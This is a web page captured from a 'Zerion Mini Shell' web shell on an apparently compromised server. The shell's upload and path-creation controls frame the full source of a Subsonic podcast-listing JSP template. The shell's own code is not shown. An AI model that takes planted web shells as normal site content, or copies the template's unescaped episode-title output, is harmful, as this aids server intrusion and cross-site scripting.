%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/309157/root/home/waritko/subsonic/ROOT/WEB-INF/jsp/
Upload File :
Create Path :
Current File : //proc/309157/root/home/waritko/subsonic/ROOT/WEB-INF/jsp/podcastChannels.jsp

<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="iso-8859-1"%>
<%--@elvariable id="model" type="java.util.Map"--%>

<html><head>
    <%@ include file="head.jsp" %>
    <%@ include file="jquery.jsp" %>
</head><body class="mainframe bgcolor1">

<div style="display:flex; align-items:center; padding-bottom:2em">
    <h1 style="flex-grow:1">
        <i class="fa fa-rss fa-lg icon"></i>&nbsp;&nbsp;<fmt:message key="podcastreceiver.title"/>
    </h1>
    <div>
        <c:import url="viewSelector.jsp">
            <c:param name="changeViewUrl" value="podcastChannels.view?viewAsList=${not model.viewAsList}"/>
            <c:param name="viewAsList" value="${model.viewAsList}"/>
        </c:import>
    </div>
</div>

<c:if test="${empty model.channels}">
    <p><em><fmt:message key="podcastreceiver.empty"/></em></p>
</c:if>


<c:choose>
    <c:when test="${model.viewAsList}">
        <table class="music" style="margin-bottom:2em">
            <tr></tr>
            <c:forEach items="${model.channels}" var="channel">
                <tr>
                    <td class="fit"><i class="fa fa-play clickable icon" onclick="top.playQueue.onPlayPodcastChannel(${channel.key.id}, false)"></i></td>
                    <td class="fit"><a href="podcastChannel.view?id=${channel.key.id}">${fn:escapeXml(empty channel.key.title ? channel.key.url : channel.key.title)}</a></td>
                    <td class="truncate detail">${fn:escapeXml(channel.key.description)}</td>
                    <td class="fit right detail"><fmt:message key="podcastreceiver.episodes"><fmt:param value="${fn:length(channel.value)}"/></fmt:message></td>
                </tr>
            </c:forEach>
        </table>
    </c:when>
    <c:otherwise>
        <c:forEach items="${model.channels}" var="channel" varStatus="loopStatus">
            <c:set var="caption2">
                <fmt:message key="podcastreceiver.episodes"><fmt:param value="${fn:length(channel.value)}"/></fmt:message>
            </c:set>
            <div class="albumThumb">
                <c:import url="coverArt.jsp">
                    <c:param name="podcastChannelId" value="${channel.key.id}"/>
                    <c:param name="coverArtSize" value="200"/>
                    <c:param name="caption1" value="${fn:escapeXml(empty channel.key.title ? channel.key.url : channel.key.title)}"/>
                    <c:param name="caption2" value="${caption2}"/>
                    <c:param name="captionCount" value="2"/>
                    <c:param name="showLink" value="true"/>
                    <c:param name="showPlay" value="${model.user.streamRole}"/>
                    <c:param name="appearAfter" value="${loopStatus.count * 30}"/>
                </c:import>
            </div>
        </c:forEach>
    </c:otherwise>
</c:choose>


<c:if test="${not empty model.newestEpisodes}">
    <h2 style="margin-top:1em"><fmt:message key="podcastreceiver.newestepisodes"/></h2>
    <table class="music indent">

        <tr>
            <th colspan="4"></th>
            <th class="truncate"><fmt:message key="podcastreceiver.episode"/></th>
            <th class="truncate"><fmt:message key="podcastreceiver.podcast"/></th>
            <th class="fit center"><i class="fa fa-lg fa-clock-o"></i></th>
            <th class="fit left"><fmt:message key="podcastreceiver.published"/></th>
        </tr>
        <c:forEach items="${model.newestEpisodes}" var="episode" varStatus="i">
            <tr>
                <c:import url="playButtons.jsp">
                    <c:param name="id" value="${episode.mediaFileId}"/>
                    <c:param name="podcastEpisodeId" value="${episode.id}"/>
                    <c:param name="playEnabled" value="${model.user.streamRole and not model.partyMode}"/>
                    <c:param name="addEnabled" value="${model.user.streamRole and not model.partyMode}"/>
                    <c:param name="asTable" value="true"/>
                    <c:param name="onPlay" value="top.playQueue.onPlayNewestPodcastEpisode(${i.index})"/>
                </c:import>
                <c:set var="channelTitle" value="${model.channelMap[episode.channelId].title}"/>

                <td class="truncate">
                    <span title="${episode.title}" class="songTitle">${episode.title}</span>
                </td>

                <td class="truncate">
                    <a href="podcastChannel.view?id=${episode.channelId}"><span class="detail" title="${channelTitle}">${channelTitle}</span></a>
                </td>

                <td class="fit right">
                    <span class="detail">${episode.duration}</span>
                </td>

                <td class="fit left">
                    <span class="detail"><fmt:formatDate value="${episode.publishDate}" dateStyle="medium"/></span>
                </td>

            </tr>
        </c:forEach>
    </table>
</c:if>


<div style="padding-top:1em; padding-bottom:1em">
    <c:if test="${model.user.podcastRole}">
        <span style="padding-right:3em"><i class="fa fa-refresh fa-lg fa-fw icon"></i>&nbsp;&nbsp;<a href="podcastReceiverAdmin.view?refresh"><fmt:message key="podcastreceiver.check"/></a></span>
    </c:if>
    <c:if test="${model.user.adminRole}">
        <i class="fa fa-cog fa-lg fa-fw icon"></i>&nbsp;&nbsp;<a href="podcastSettings.view"><fmt:message key="podcastreceiver.settings"/></a>
    </c:if>
</div>

<c:if test="${model.user.podcastRole}">
    <form method="post" action="podcastReceiverAdmin.view?">
        <table>
            <tr>
                <td><fmt:message key="podcastreceiver.subscribe"/></td>
                <td><input type="text" name="add" value="http://" style="width:30em" onclick="select()"/></td>
                <td><input type="submit" value="<fmt:message key="common.ok"/>"/></td>
            </tr>
        </table>
    </form>
</c:if>

<c:set var="licenseInfo" value="${model.licenseInfo}"/>
<%@ include file="licenseNotice.jsp" %>

<div style="padding-top:2em"></div>

</body>
</html>

Zerion Mini Shell 1.0